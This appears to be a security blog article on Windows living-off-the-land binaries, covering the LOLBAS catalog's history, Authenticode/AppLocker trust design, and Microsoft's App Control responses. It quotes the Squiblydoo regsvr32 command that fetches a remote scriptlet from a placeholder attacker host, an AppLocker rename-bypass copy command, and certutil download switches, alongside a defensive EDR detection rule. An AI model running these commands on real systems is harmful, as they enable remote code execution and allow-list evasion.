Parag Mali - tag: smart-app-control

Living Off the Land on Windows: The LOLBin Catalog and the Structural Ceiling Microsoft Cannot Break

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**Living-off-the-land binaries (LOLBins) are Microsoft-signed Windows executables that attackers coerce into doing useful work** -- run scripts, fetch payloads, sidestep allow-lists. The community LOLBAS catalog lists 207 of them as of May 2026. Microsoft's App Control Recommended Block Rules deny about 40. The 167-binary gap is not a backlog. It is the structural ceiling: Windows administration *requires* powerful, signed, trusted utilities. This article traces the class from a 1996 Authenticode trade-off through Casey Smith's 2016 Squiblydoo, the 2018 founding of LOLBAS, and Microsoft's four-generation response, and argues the class is permanent.

1. The Four-Line Bypass That Cannot Be Patched

On April 19, 2016 [@attack-t1218-010], a researcher named Casey Smith published a four-line command on a personal Blogspot site. The command coerced a Microsoft-signed system binary into fetching and executing arbitrary JScript from an attacker-controlled URL, in memory, with nothing written to disk, on a Windows endpoint with AppLocker in enforce mode [@lolbas-regsvr32]. Ten years and three Microsoft defensive generations later, you can paste the same four lines into a default-configured Windows 11 box and watch it succeed. This article explains why.

The command is short enough to memorize:

regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll

Every part of it is normal. regsvr32.exe is the operating system's COM registration utility, shipped in every Windows release since NT 4. The /i:URL switch is documented [@lolbas-regsvr32]: it passes an installation parameter to a COM scriptlet. scrobj.dll is the Microsoft Script Component runtime. The .sct extension is the documented Microsoft Script Component file format. Smith was not exploiting a buffer overflow or a logic flaw. He was using the binary the way Microsoft designed it.

What is not normal is who controls the URL. When regsvr32.exe fetches that .sct over HTTP and hands it to scrobj.dll, the scriptlet's body runs inside a Microsoft-signed parent process. The /s flag suppresses dialog boxes, /n tells regsvr32 not to call DllRegisterServer, and /u reverses the operation -- so no registry change persists. The result: arbitrary JScript or VBScript running as the logged-on user, parented to a binary the default AppLocker policy admits by publisher, with no file on disk and no registry breadcrumb. Smith published the technique on April 19, 2016; Carbon Black named it Squiblydoo in its April 28, 2016 threat advisory, and the MITRE ATT&CK page for the technique attributes the name to that advisory [@attack-t1218-010]. The trade press picked the name up within days: by April 29 The Register was running a headline about "hipster hackers" and routing readers to the Carbon Black writeup for the naming origin [@reg-squiblydoo].

The specific technique of abusing `regsvr32.exe` with the `/i:URL` switch to fetch and execute a remote COM scriptlet (`.sct` file) containing attacker-controlled JScript or VBScript. Disclosed by Casey Smith on April 19, 2016; named *Squiblydoo* by Carbon Black's April 28, 2016 threat advisory; tracked by MITRE ATT&CK as sub-technique T1218.010 [@attack-t1218-010]. sequenceDiagram participant User as User shell participant Regsvr32 as regsvr32.exe (signed) participant Scrobj as scrobj.dll (signed) participant Remote as Attacker HTTP server participant JScript as JScript engine User->>Regsvr32: regsvr32 /s /n /u /i:URL scrobj.dll Regsvr32->>Scrobj: Load COM scriptlet runtime Scrobj->>Remote: GET /x.sct Remote-->>Scrobj: scriptlet XML with embedded JScript body Scrobj->>JScript: Evaluate script body in-process JScript-->>User: Arbitrary code runs as the user

The reason this bypass is famous is not the technique. It is the invariance. Microsoft has shipped App Control for Business, the Recommended Block Rules deny list, Smart App Control, AMSI, the Windows Resiliency Initiative, and the Microsoft Vulnerable Driver Blocklist in the intervening decade [@ms-bypass-rules] [@ms-sac-overview] [@ms-driver-blocklist] [@ms-wri-nov2024]. None of those controls is enabled by default on a freshly installed Windows 11 Home or Pro endpoint, and none of them blocks Squiblydoo without administrator action. Casey Smith's command is the security industry's longest-lived working proof-of-concept against the defaults of a flagship operating system.

A defender watching this from an EDR console sees a specific shape: a parent process (often cmd.exe, explorer.exe, an Office app, or a script host) spawns regsvr32.exe, and the command line contains /i:http. That parent-child pattern plus a URL in the argument list is the entire detection surface. Most defenders write it as a Sysmon Event ID 1 (process create) rule.

{` // Simulated EDR rule: flag any child regsvr32.exe whose command line // references a remote URL. This is the canonical detection shape that // SOC analysts have been writing for ten years. function isSquiblydoo(event) { const child = (event.image || '').toLowerCase(); const cmd = (event.commandLine || '').toLowerCase(); if (!child.endsWith('\\regsvr32.exe')) return false; // /i:http or /i:https with a URL argument is the load-bearing signal. return /\/i:https?:\/\//.test(cmd); }

const sample = { image: 'C:\\Windows\\System32\\regsvr32.exe', parentImage: 'C:\\Windows\\System32\\cmd.exe', commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll' }; console.log('Squiblydoo match:', isSquiblydoo(sample)); `}

The detection works. It is also, by 2026, a checked box in every commercial EDR. The persistence of the bypass therefore raises two questions the rest of this article must answer. First: how can a ten-year-old, publicly-named, vendor-acknowledged technique still work on the default configuration of the world's most-deployed desktop operating system? Second: is regsvr32 an exotic one-off, or is Squiblydoo the visible tip of a structural class that runs the length of the Windows binary catalog? The honest answers sit at opposite ends of an architectural argument, and the road between them runs through a community catalog with 207 entries.

2. Five Years From Coined Phrase to Catalog

When did living off the land become a phrase defenders said out loud? The answer is a specific evening in Louisville, Kentucky. On September 27, 2013, at DerbyCon 3 ("All in the Family"), Christopher Campbell and Matt Graeber gave a talk titled Living off the Land: A Minimalist's Guide to Windows Post-Exploitation [@derbycon3-lol]. Their argument: an attacker on a Windows host could persist, escalate, pivot, and exfiltrate without dropping a single binary -- using only pre-installed signed Microsoft tools (wmic, netsh, powershell, scheduled tasks). Antivirus and host-intrusion-prevention products in 2013 were optimized to catch unsigned, third-party code. Campbell and Graeber pointed out that the entire offensive toolkit could be assembled out of vendor-supplied parts.

The phrase entered defender vocabulary, but the catalog did not exist yet. What happened between 2013 and 2018 was a slow accumulation of disclosures -- each one a Microsoft-signed binary, each one with a documented feature an attacker could repurpose [@enigma0x3-dnx] [@enigma0x3-rcsi] [@lolbas-msbuild] [@lolbas-installutil]. Casey Smith's April 2016 Squiblydoo [@attack-t1218-010] was followed by his MSBuild inline-task bypass [@lolbas-msbuild], his InstallUtil /U bypass [@lolbas-installutil], and a series of related developer-utility disclosures. Matt Nelson added dnx.exe on November 17, 2016 [@enigma0x3-dnx] and rcsi.exe four days later [@enigma0x3-rcsi]. By the end of 2016 a generic pattern was visible: any Microsoft-signed binary that could compile, interpret, deserialize, or fetch arbitrary content was a candidate.

In 2017-2018 the framing crystallized. Matt Graeber and Casey Smith spoke at BlueHat IL 2017; the conference materials sit in a community mirror that catalogs the session as a Graeber + Smith Windows trust talk [@bluehat-il-mirror]. The canonical Subverting Trust in Windows writeup came a year later, from Matt Graeber and Lee Christensen (SpecterOps), at TROOPERS 2018 -- it named misplaced trust as the mismatch between the binary is signed by Microsoft and the binary's behavior is trustworthy when handed attacker-controlled arguments [@specterops-subverting-trust]. The same year, Symantec's ISTR special report brought "living off the land" into the CISO vocabulary at scale [@symantec-istr-lotl]. The technique class was understood; what was missing was a name and a list.

The naming happened in 2018, on Twitter, in a six-week burst that the LOLBAS README still preserves as the project's origin story [@lolbas-github]. On March 1, 2018 (UTC; the LOLBAS README dates this to February 28 in the poster's local timezone), Philip Goh proposed the acronym LOLBins -- Living-Off-the-Land Binaries. On April 13, 2018 (UTC; the LOLBAS README dates this to April 14 in the poster's local timezone), Jimmy Bayne proposed LOLScripts for the script-host equivalent (no poll was taken). On April 15, Oddvar Moe ran a ratification poll asking the community to choose between LOLBin and LOLBas; LOLBin won with 69 percent of the vote. Three days later, on April 18, 2018 at 10:04:50 UTC, Moe created the GitHub repository api0cradle/LOLBAS [@lolbas-api0cradle]. On June 8 the project moved to its organization-owned successor LOLBAS-Project/LOLBAS [@lolbas-org-api]. The catalog was live, versioned, and pull-request-driven.

The Goh proposal, the Bayne proposal, and the Moe poll were all on what is now X. The original tweets sit behind a login wall today, but the LOLBAS README preserves the full chain of attribution and links the exact tweet IDs. Decoding the linked Twitter snowflakes yields UTC timestamps for the Goh and Bayne tweets that land one day after the LOLBAS-attributed local-time dates (March 1 and April 13 UTC, respectively); the article's prose uses the UTC dates because they are the only timestamps that are independently verifiable from the snowflake.

Two more 2018 events matter. On August 17, 2018, Matt Graeber posted Arbitrary Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe; the article appeared first on Medium and was republished on SpecterOps, and the LOLBAS Microsoft.Workflow.Compiler entry preserves the disclosure chain via the linked tweet and the SpecterOps URL in its Resources field [@lolbas-mwc]. The technique showed that a binary nobody had heard of -- the .NET Workflow Foundation rules compiler -- could compile and execute arbitrary unsigned C# given a crafted XOML file. The disclosure was important not for its novelty but for its obscurity: if Microsoft.Workflow.Compiler.exe was a LOLBin and nobody knew, how many other unscanned-for binaries shipped with the same primitive? The question would drive the catalog's growth over the next eight years.

The other event was the foundational talk. At DerbyCon 8 in Louisville, Kentucky, in October 2018, Oddvar Moe gave a presentation titled #LOLBins -- Nothing to LOL about! [@derbycon8-moe]. The LOLBAS README itself names this as the project's foundational talk [@youtube-moe-lolbins] [@lolbas-github], not the BlueHat IL 2019 session that some later secondary sources cite. By the project's own retrospective, the talk introduced the catalog to a wider audience and aligned the community around the inclusion criteria and YAML schema that govern the project today.

timeline title LOLBin coinage and catalog, 2013 to 2018 2013-09-27 : DerbyCon 3 Campbell and Graeber coin "living off the land" 2016-04-19 : Casey Smith publishes Squiblydoo (regsvr32 + COM scriptlet) 2016-11 : Matt Nelson publishes dnx and rcsi bypasses 2017 : Graeber and Smith speak at BlueHat IL 2017 2018-03-01 : Philip Goh proposes "LOLBins" on Twitter (UTC) 2018-03 : Graeber and Christensen present Subverting Trust in Windows at TROOPERS 2018-04-13 : Jimmy Bayne proposes "LOLScripts" (UTC) 2018-04-15 : Oddvar Moe poll ratifies "LOLBin" with 69 percent 2018-04-18 : api0cradle/LOLBAS GitHub repo created 2018-06-08 : LOLBAS-Project organization repo created 2018-08-17 : Matt Graeber discloses Microsoft.Workflow.Compiler.exe 2018-10 : Oddvar Moe DerbyCon 8 "#LOLBins -- Nothing to LOL about!" A Living-Off-the-Land Binary: a Microsoft-signed Windows executable, either native to the operating system or downloaded from Microsoft, that has "extra unexpected functionality" useful to an attacker or red team -- typically the ability to execute, download, encode, decode, compile, or otherwise weaponize attacker-controlled content. The term was ratified by community poll in April 2018; the canonical catalog is the LOLBAS project [@lolbas-github].

Five years from coined phrase to versioned, community-edited catalog. What took five years was not the technique -- the technique was already there in 2013, and Casey Smith had publicly demonstrated three flavors of it by the end of 2016. What took five years was naming the class. The naming mattered because it turned a stream of one-off disclosures into a defensible artifact: a list a SOC could subscribe to, a schema a detection engineer could parse, and -- as the next section argues -- a body of evidence for an architectural claim about Windows that nobody had yet been willing to articulate out loud. Why does the technique class exist? The answer is a 1996 design decision.

3. The Two Trust Axes Microsoft Decoupled in 1996

Why does the default AppLocker policy admit every Microsoft-signed binary on the disk? Because Microsoft made a deliberate trade-off in 2009, and that trade-off inherits an even deeper trade-off from 1996.

Start with the 1996 trade-off. Authenticode shipped with Internet Explorer 3.0 to answer one question: was this code signed by a party I trust? [@ms-crypto-tools] [@ms-authenticode-1996]. The mechanism is short to describe. A publisher (Microsoft, Adobe, the local IT shop) signs an executable's hash with a private key whose certificate chains to a root the operating system trusts. The signature travels with the file. At load time, Windows recomputes the hash, validates the signature, walks the certificate chain, and reports the verified publisher to whichever caller asked. That is the whole protocol.

Microsoft's code-signing scheme, shipped with Internet Explorer 3.0 in 1996 [@ms-authenticode-1996]. Authenticode binds a publisher identity to a binary's hash via an X.509 certificate chain. Validation answers *who signed this file and was it modified after signing?* It does not -- and cannot -- describe what the file does when executed [@ms-crypto-tools].

Notice what Authenticode does not answer. It says nothing about what the binary does at runtime. It does not describe which APIs the binary calls, what arguments those calls accept, whether the binary loads external content, or whether the binary's documented behavior includes "execute attacker-controlled JScript fetched over HTTP." Authenticode signs; it does not characterize. That distinction is not a defect in the design -- it is the design. A signature scheme that tried to formally describe runtime behavior would need a semantic model of every signed program, which is the kind of problem theoretical computer science has spent fifty years calling undecidable.

Thirteen years later, in October 2009, AppLocker shipped with Windows 7 [@ms-applocker-overview]. AppLocker introduces publisher rules, path rules, and hash rules as the first-class Windows application-allow-list primitive. The interesting one is the publisher rule. AppLocker's default rule template admits every executable under %windir% or %programfiles% via three path-based rules (one each for executables, scripts, and Windows Installer files) [@ms-applocker-default-rules] -- which is where Microsoft's tens of thousands of signed binaries live -- and the canonical managed deployment adds a publisher rule that explicitly trusts the Microsoft signer chain [@ms-applocker-overview]. Either way, the practical effect is the same: every Microsoft-signed binary on a default Windows install inherits broad trust.

The Windows 7 application-allow-list feature (shipped October 22, 2009) that admits or denies binary execution based on publisher signature, file path, or file hash rules. The default rules are path-based and admit every executable under `%windir%` or `%programfiles%` [@ms-applocker-default-rules]; canonical managed deployments add a publisher rule that trusts the Microsoft signer chain. Microsoft's own documentation now describes AppLocker as "a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-applocker-overview]; App Control for Business is the modern successor.

Why the default rule? Because the alternative -- a hash-by-hash allow list of every Microsoft-signed file -- breaks the day Patch Tuesday ships a new build of mshtml.dll or cmd.exe. A hash allow list at the scale of Windows is not maintainable. A path allow list is bypassed by file copy. The publisher rule is the only choice that makes the system deployable in a large enterprise without an army of administrators rebuilding policy XML every month. AppLocker's default rule was, by any pragmatic measure, the right call.

But that call inherits Authenticode's blindness. AppLocker decides whether a signed binary may run; Authenticode decides whether the signature is valid. Neither layer knows what the binary does. The two systems live on orthogonal trust axes:

flowchart LR A["Authenticode signing
Who signed this binary?"] --> B["AppLocker policy
Is this publisher allowed?"] B --> C["Binary loads and runs"] C --> D["Runtime behavior
What does this binary do with arguments?"] D -. unmeasured .-> E["Attacker-controlled script,
DLL, XOML, or URL is executed"] style D stroke:#888,stroke-dasharray: 5 5 style E stroke:#c33,stroke-width:2px

The point of the diagram is the dotted edge. There is no measurement of D before C. The control plane stops at the signature check, and the runtime behavior is the attacker's playground. That gap is exactly where Squiblydoo lives. regsvr32.exe is Microsoft-signed (Authenticode says yes). It is on the default AppLocker publisher rule (AppLocker says yes). It has a documented /i:URL switch that loads remote scriptlets (no layer measures this). The attacker supplies the URL.

Key idea: Signature trust answers who signed this?. It cannot answer what does this binary do at runtime?. The LOLBin class is the runtime consequence of treating those as the same question.

This is the structural error -- and "error" is the wrong word, because it was a deliberate, documented trade-off both times. Authenticode in 1996 chose publisher identity over behavioral semantics because behavioral semantics is undecidable. AppLocker in 2009 chose publisher rules over hash rules because hash rules do not survive Patch Tuesday. Both choices were correct on their own terms. The LOLBin class is what happens when you compose two locally-correct choices and discover that the composition has a property neither original choice predicted.

Microsoft itself acknowledges the limit in writing. The current Microsoft Learn AppLocker overview contains the verbatim admission: AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature [@ms-applocker-overview]. The same documentation names App Control for Business as the modern successor and routes new deployments there.

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview [@ms-applocker-overview]

The structural argument from this section is the rest of the article's load-bearing premise. If signature trust is decoupled from behavior trust by construction, then for every Microsoft-signed binary that exposes a "load and execute arbitrary script, DLL, or payload" surface there exists a LOLBin disclosure waiting to be discovered. The question becomes empirical: how many such binaries are there? In 2018 nobody knew. By May 2026 the LOLBAS catalog has counted 207, and the count is still growing.

4. The LOLBAS Catalog as a Data Structure

Most security catalogs are PDFs. LOLBAS is something different. It is a YAML file directory, a function taxonomy, an ATT&CK mapping, a pull-request contract, and a rendered frontend -- all on GitHub. To understand the LOLBin problem in 2026 you have to understand the catalog as an artifact the defender community built, not just a list of binaries.

The repository at LOLBAS-Project/LOLBAS [@lolbas-github] organizes its entries into four directories on disk, each with a per-entry YAML file. The May 2026 breakdown:

Directory	Count	What it holds
`yml/OSBinaries/`	130	Native Windows-shipped executables (`regsvr32`, `rundll32`, `mshta`, `certutil`, ...)
`yml/OtherMSBinaries/`	77	Microsoft-signed executables downloadable from Microsoft (Visual Studio, SDK, optional features)
`yml/OSLibraries/`	17	DLLs that can be loaded as LOLBin payloads (the LOLLib subclass)
`yml/OSScripts/`	10	Microsoft-shipped scripts (the LOLScript subclass)
Total	234	207 binaries plus 27 libraries and scripts

A Living-Off-the-Land Script: a Microsoft-signed script file (typically `.vbs`, `.js`, `.ps1`, or `.bat`) shipped with Windows that an attacker can invoke for proxy execution, file download, or privilege manipulation. LOLScripts are tracked in the `yml/OSScripts/` directory of the LOLBAS repository [@lolbas-github]. The companion category for DLLs is *LOLLib*.

The 207-binary figure is the one that matters for the architectural argument later, and it is not folklore. It is a primary-source count derived by enumerating the four directory listings against the live repository on May 26, 2026 [@lolbas-org-api]. The repository as of that date has 8,567 stars and 1,135 forks.

Each entry follows a strict YAML schema [@lolbas-yml-template]. The mandatory fields are Name, Description, Author, Created, one or more Commands blocks, Full_Path, Code_Sample, Detection, Resources, and Acknowledgements. Inside each Commands block sits the function taxonomy that defenders read first.

flowchart TD Entry["YAML entry: Name
Description, Author, Created"] Entry --> Commands["Commands[]"] Commands --> C1["Command 1: command-line invocation"] Commands --> C2["Command 2: command-line invocation"] C1 --> Use["Use: plain-English description"] C1 --> Category["Category: Execute, Download, Compile, AWL Bypass, ..."] C1 --> Priv["Privileges: User or Admin"] C1 --> Mitre["MitreID: T1218.010, T1127.001, ..."] Entry --> Paths["Full_Path[]: where the binary lives on disk"] Entry --> Detect["Detection[]: vendor-curated detection links"] Entry --> Refs["Resources[]: primary disclosures and writeups"] Entry --> Ack["Acknowledgements[]: credited researchers"]

The function taxonomy is a closed set of eleven categories: Execute, Download, Copy, Encode, Decode, Compile, Credentials, AWL Bypass, AWL Bypass + UAC Bypass, Reconnaissance, and Dump. Every command in the catalog carries exactly one of those tags. The vocabulary is small because the surface is small. A Microsoft-signed binary, by definition, was not designed to do these things, so the abuse primitives concentrate at a small number of recognizable shapes.

The gate that decides whether a binary is admitted to the catalog is published verbatim in the repository README [@lolbas-github]:

Must be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra 'unexpected' functionality. ... Have functionality that would be useful to an APT or red team. -- LOLBAS criteria [@lolbas-github]

The two clauses do most of the project's editorial work. The first clause -- Microsoft-signed, native or downloaded from Microsoft -- is what aligns the catalog with the AppLocker default publisher rule from Section 3. A binary that does not pass that gate is somebody else's problem (probably an EV-certificate review). The second clause -- extra unexpected functionality, useful to an APT or red team -- is what excludes binaries whose abuse pattern is documented behavior nobody disputes (cmd.exe running a script is not a LOLBin; regsvr32.exe fetching a script from http:// is).

Governance is pull-request-driven and run by a named maintainer group: Oddvar Moe (the original creator), Jimmy Bayne, Conor Richard, Chris "Lopi" Spehn, Liam Somerville, Wietze Beukema, and Jose Hernandez [@lolbas-github]. The model is the one Linux distributions use for package metadata: a small editorial board, public submission, public review, semver-style additions. The repository receives regular pull requests; the May 2026 commit log shows entries dated 2026 alongside the 2018 founders [@lolbas-org-api]. The rendered frontend at lolbas-project.github.io exposes the same data as a browsable per-binary site [@lolbas-frontend].

The LOLBAS frontend at lolbas-project.github.io is visually modelled on GTFOBins, the Unix analogue maintained by Andrea Cardaci and Emilio Pinna [@gtfobins]. The LOLBAS README explicitly thanks GTFOBins for the rendering pattern. The two projects share the same conceptual move -- a community catalog of vendor-shipped utilities with attacker-useful side effects -- applied to different platforms.

The catalog's status as a data structure is what distinguishes it from a textbook chapter. Splunk's Threat Research team publishes detection content keyed directly to LOLBAS entries [@splunk-detection]; the MITRE ATT&CK pages for T1218, T1216, T1127, T1197, T1140, and T1105 cite individual LOLBAS pages as primary references [@attack-t1218]; CISA's joint LOTL guidance with the NSA, FBI, ASD/ACSC, NCSC-UK, and others mirrors the LOLBAS structure in its detection annexes [@cisa-lotl]. The catalog is the canonical input to every downstream defense product that takes LOLBins seriously.

Two hundred and seven binaries. The next question is the question every defender asks the first time they look at the list: of those 207, which ones actually show up in real incidents, and what makes the recurring offenders special? That is the field guide.

5. The Canonical Eight: A Field Guide

Of the 207 binaries in the LOLBAS catalog, eight anchor most real-world incidents. Each one tells the same story: a Microsoft-signed utility doing what it was designed to do, with attacker-controlled arguments. These eight are the canonical introduction to the class, the binaries every SOC writes detections for first, and the binaries Microsoft's Recommended Block Rules either deny by default or pointedly do not.

Binary	First disclosed	Abuse primitive	MITRE ATT&CK	On App Control deny list?
`regsvr32.exe`	Casey Smith, 2016-04-19	Squiblydoo: remote `.sct` via `/i:URL`	T1218.010 [@attack-t1218-010]	No
`rundll32.exe`	Multiple disclosures	Load and invoke any exported DLL function	T1218.011 [@attack-t1218-011]	No
`mshta.exe`	Pre-LOLBAS, IE5 era	Run JScript or VBScript from `.hta` file or URL	T1218.005 [@attack-t1218-005]	Yes
`certutil.exe`	Pre-LOLBAS folklore	`-urlcache` download, `-decode` payload decoder	T1140, T1105	No
`bitsadmin.exe`	Pre-LOLBAS folklore	BITS-channel download primitive	T1197 [@attack-t1197]	No
`msbuild.exe`	Casey Smith, 2016	Inline-task compile-and-run C#	T1127.001 [@attack-t1127]	Yes, with caveat
`installutil.exe`	Casey Smith, 2016	`/U` invokes `[RunInstaller(true)]` class	T1218.004 [@attack-t1218-004]	Yes (unconditional)
`Microsoft.Workflow.Compiler.exe`	Matt Graeber, 2018-08-17	XOML-driven C#/VB.NET compile-and-execute	T1127 [@attack-t1127]	Yes

The table looks orderly. The pattern inside it is not.

regsvr32.exe is the article's opening case, the most famous LOLBin in history, and -- conspicuously -- not on the App Control Recommended Block Rules deny list [@ms-bypass-rules]. The reason is operational. regsvr32 is the OS-bundled mechanism for installing and uninstalling COM servers; denying it would break legacy installers, in-place upgrades of components like ODBC drivers, and a broad sweep of administrative tooling. Microsoft's choice is to detect Squiblydoo via behavioral signals (parent-child anomaly, /i:http argument) rather than deny the binary outright.

The conspicuous absence of regsvr32.exe from the Recommended Block Rules is one of the most-revealing facts in the LOLBin literature. Microsoft is saying, in policy form: we cannot take this binary off the disk, we cannot deny it at App Control, and we trust your EDR or your ASR rules to catch the abusive invocations. The detection burden is structurally transferred from the platform to the customer.

rundll32.exe is the longest-lived AWL bypass primitive in the catalog. Almost every COM out-of-process invocation in Windows uses it, and many shell namespace extensions invoke it. Denying rundll32.exe would render the desktop nearly inoperable. It is, like regsvr32, on the detect, do not deny side of the line.

mshta.exe is on the Recommended Block Rules list. Microsoft can deny it because HTA files are a 1999 technology (the HTML Application format was introduced with Internet Explorer 5 [@ms-hta-overview]) and the platform no longer requires mshta.exe to be functional for routine operation [@ms-bypass-rules].

`mshta.exe` -- Microsoft HTML Application Host -- ships with every modern Windows release. The binary's reason for existing was Internet Explorer's HTML Application (HTA) format, introduced with Internet Explorer 5 in 1999, so administrators could write GUI applications in HTML, CSS, and JScript without an IDE [@ms-hta-overview]. Internet Explorer 11 was retired on June 15, 2022 [@ms-ie11-lifecycle]. HTA support remains, because removing it would break a long tail of internal corporate tooling. `mshta.exe` is the canonical example of a binary that outlived its motivating product by more than two decades and now exists primarily so attackers can run JScript in a signed process.

certutil.exe is one of the field's quiet recurring offenders. Two switches drive most of its abuse: -urlcache -split -f downloads an arbitrary URL to disk, and -decode decodes Base64 or hex payloads. Neither is documented as a security feature; both are necessary for legitimate certificate-management workflows. certutil is not on the App Control deny list.

bitsadmin.exe and its PowerShell sibling Start-BitsTransfer drive downloads through the Background Intelligent Transfer Service, the same channel Windows Update uses. The traffic looks like normal Windows traffic at the network layer. BITS Jobs is tracked as T1197 [@attack-t1197]. bitsadmin.exe is not on the deny list either.

msbuild.exe is the most interesting case in the table because Microsoft's response is published verbatim and is context-dependent. The Recommended Block Rules entry for msbuild.exe reads:

If you're using your reference system in a development context and use msbuild.exe to build managed applications, we recommend that you allow msbuild.exe in your code integrity policies. Otherwise, we recommend that you block msbuild.exe. -- Microsoft Learn, Applications that can bypass App Control [@ms-bypass-rules]

That single sentence is the structural argument from Section 9 in microcosm. The deny list cannot decide for itself whether msbuild.exe is a LOLBin; the answer depends on whether the endpoint is a developer workstation.

installutil.exe is the .NET Framework installer-class entry-point runner. Casey Smith's 2016 disclosure showed that installutil.exe /U mybinary.exe invokes any class decorated with [System.ComponentModel.RunInstaller(true)], regardless of whether that class is part of an installer. The technique is documented at LOLBAS [@lolbas-installutil] and tracked as T1218.004 [@attack-t1218-004]. installutil.exe is on the App Control deny list, unconditionally (any version) [@ms-bypass-rules], in contrast to msbuild.exe's development-context caveat. That installutil.exe is denied by default and the LOLBin class persists anyway is the strongest small evidence that revocation is not the same as elimination.

Microsoft.Workflow.Compiler.exe, also known as wfc.exe, is the canonical worst case. The binary is part of .NET Workflow Foundation. It accepts a pair of file arguments -- an input file (any extension; LOLBAS lists XOML as the canonical form) containing a CompilerInput XML element with the attacker's C# or VB.NET source, and a log-file output path. The compiler compiles the embedded source and executes it in-process [@lolbas-mwc]. LOLBAS tracks it under T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127], alongside msbuild.exe, dnx.exe, and rcsi.exe. Matt Graeber's August 17, 2018 disclosure [@lolbas-mwc] demonstrated end-to-end unsigned-C# execution via a single command line. It is on the App Control Recommended Block Rules list [@ms-bypass-rules]. Microsoft cannot remove the binary from Windows without breaking Workflow Foundation, but it can pin it as denied-by-default and direct developers who need it to allow-list it explicitly.

The abuse chain in which `Microsoft.Workflow.Compiler.exe` (a .NET Workflow Foundation utility, also distributed as `wfc.exe`) is invoked with an attacker-supplied input file -- any extension, canonical form XOML -- that contains a `CompilerInput` XML element holding C# or VB.NET source, plus a log-file output path. The compiler compiles the embedded source and executes the resulting assembly in-process. Disclosed by Matt Graeber on August 17, 2018 [@lolbas-mwc]. Now denied by default in Microsoft's App Control Recommended Block Rules [@ms-bypass-rules].

Notice the pattern across the eight: each binary is either on the Recommended Block Rules or it isn't, and the binaries that are not on the list are the ones administrators cannot live without. The deny list, in other words, is bounded: not by Microsoft's diligence, but by what Windows administration requires. How bounded? That is Section 6.

6. The Defensive Patchwork: Four Generations of Response

If you tried to fix Squiblydoo in 2016, the only primitive available was a per-binary AppLocker Deny rule. You wrote a rule that named regsvr32.exe, you deployed it via Group Policy, and you watched an attacker bypass it by copying the binary to a writable directory and renaming it. Microsoft's response over the following eight years can be told as four generations of control. Each one closes a specific bypass class in the previous. None touches the defining property of the class itself.

Generation 0: Software Restriction Policies (2001-2009)

Before AppLocker there was Software Restriction Policies (SRP), introduced with Windows XP and Windows Server 2003. SRP supported hash and path rules but had no first-class publisher rule. The policy language could not express trust anything signed by Microsoft. At enterprise scale, SRP was unmaintainable. AppLocker explicitly superseded it; Microsoft now directs new deployments to AppLocker and App Control for Business rather than SRP [@ms-applocker-overview]. Generation 0 failed not because it was bypassed but because it was undeployable.

Generation 1: AppLocker with the default Microsoft publisher rule (2009-2017)

AppLocker, as Section 3 described, made application allow-listing deployable by introducing the publisher rule and pre-populating the default rule set to admit Microsoft-signed binaries [@ms-applocker-overview]. Squiblydoo (April 19, 2016) was the existence proof that the default rule was simultaneously necessary for deployment and insufficient for security. The standard mitigation in this era -- write a per-binary AppLocker Deny rule for regsvr32.exe, mshta.exe, and friends -- ran into a concrete worked counterexample:

The AppLocker rename bypass is as simple as copy %WINDIR%\System32\regsvr32.exe %TEMP%\sysadmin-helper.exe. The copied file retains its Authenticode signature (which signs the file bytes, not the filename). The default Microsoft-publisher allow rule admits the renamed copy. A Deny rule keyed to the original path or name silently fails. This is the bypass that motivated WDAC's move to kernel-mode signature evaluation and hash-revocation rules.

A Deny rule keyed by path or filename loses to file copy. A Deny rule keyed by file hash loses the day Microsoft ships a new build on Patch Tuesday. AppLocker's policy language could express either constraint but not both at once. Neither held up against a determined attacker.

Generation 2: App Control for Business with Recommended Block Rules (2017-present)

Generation 2 is what most enterprises deploy today. Windows Defender Application Control (WDAC) shipped with Windows 10 1709 in October 2017, evolved out of Device Guard's Code Integrity Policies, and was rebranded App Control for Business in the 2023-2024 documentation cycle [@ms-appcontrol-overview]. The system enforces signature-and-policy evaluation in kernel mode. The rename bypass that defeated AppLocker stops at the kernel boundary, because the kernel evaluates the file's signature and hash independently of its path.

The Microsoft kernel-mode application-control system formerly known as Windows Defender Application Control (WDAC). Ships with Windows 10 1709 and later. Policies are signed XML files that admit or deny binaries by signer, hash, file attribute, or path; the policy engine is enforced by the kernel's Code Integrity subsystem [@ms-appcontrol-overview]. The successor to AppLocker for managed enterprise deployments. A Microsoft-curated, version-pinned XML deny list shipped via Microsoft Learn that App Control administrators merge into their base policy. As of 2026 the list denies roughly 40 binaries -- including `mshta.exe`, `Microsoft.Workflow.Compiler.exe`, conditionally `msbuild.exe`, and the older `system.management.automation.dll` versions that allowed PowerShell Constrained Language Mode bypass [@ms-bypass-rules]. The deny list grows as new bypasses are disclosed; addition lag is months to years.

Generation 2 closed the per-name rename bypass and gave Microsoft a publication surface for revoking individual LOLBins. The deny list itself acknowledges the version-pinning problem in a dated breadcrumb on the Microsoft Learn page: as of October 2017, system.management.automation.dll is updated to revoke earlier versions by hash values, instead of version rules [@ms-bypass-rules]. Revocation is applied case-by-case, not globally. What Generation 2 did not close was the catalog-vs-deny-list coverage gap (see Section 8 for the side-by-side count). The Recommended Block Rules name roughly 40 binaries; the LOLBAS catalog enumerates 207. The residual is unaddressed by default.

Generation 3: Smart App Control (2022-present)

Smart App Control (SAC) is Microsoft's reputation-and-AI gate for unmanaged consumer and small-business endpoints. It ships with clean installations of Windows 11 22H2 and later. It runs in an evaluation mode that silently observes the user's behavior and either transitions to enforce mode or silently disables itself depending on whether the observed activity is consistent with a managed-enough device [@ms-sac-overview]. The disable was originally one-way; the Definition below covers the recently-added in-place re-enable path [@ms-sac-support].

A Windows 11 22H2+ reputation-based application-gating feature that admits or blocks applications by Microsoft cloud lookup, with an AI classifier as a fallback. SAC ships in evaluation mode on clean installs only; it either transitions to enforcement or silently disables itself based on observed device usage [@ms-sac-overview]. Until recently a disabled SAC could only be revived by reinstalling Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support]. The silent disable itself remains.

